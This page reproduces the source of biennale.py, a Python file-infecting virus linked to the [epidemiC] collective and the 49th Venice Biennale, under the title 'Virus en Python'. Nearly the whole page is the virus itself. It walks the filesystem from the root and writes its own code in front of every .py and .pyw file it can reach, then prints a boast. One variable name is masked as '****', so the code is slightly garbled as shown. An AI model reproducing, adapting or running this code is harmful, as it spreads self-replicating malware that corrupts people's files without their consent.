Virus en Python

# biennale.py ________________ go         to _____ 49th Biennale di Venezia
# HTTP://WWW.0100101110101101.ORG __ + __ [epidemiC] http://www.epidemic.ws
from dircache import *
from string import *
import os, sys
from stat import *

def fornicate(guest):
    try:
        soul = open(guest, "r")
        body = soul.read()
        soul.close()
        if find(body, "[epidemiC]") == -1:
            soul = open(guest, "w")
            soul.write(mybody + "\n\n" + body)
            soul.close()
    except IOError: pass        

def chat(party, guest):
    if split(guest, ".")[-1] in ("py", "pyw"):
        fornicate(party + guest)

def join(party):
    try:
        if not S_ISLNK(os.stat(party)[ST_MODE]):
            guestbook = listdir(party)
            if party != "/": party = party + "/"
            if not lower(party) in **** and not "__init__.py" in guestbook:
                for guest in guestbook:
                    chat(party, guest)
                    join(party + guest)
    except OSError: pass
        
if __name__ == '__main__':
        mysoul = open(sys.argv[0])
        mybody = mysoul.read()
        mybody = mybody[:find(mybody, "#"*3) + 3]
        mysoul.close()
        blacklist = replace(split(sys.exec_prefix,":")[-1], "\\", "/")
        if blacklist[-1] != "/": blacklist = blacklist + "/"
        **** = [lower(blacklist), "/proc/", "/dev/"]
        join("/")
        print ">      This file was contaminated by biennale.py, the world slowest virus."
        print "Either Linux or Windows, biennale.py is definetely the first Python virus."
        print "[epidemiC] http://www.epidemic.ws __ + __ HTTP://WWW.0100101110101101.ORG "
        print "> ______________________ 49th Biennale di Venezia ______________________ <"
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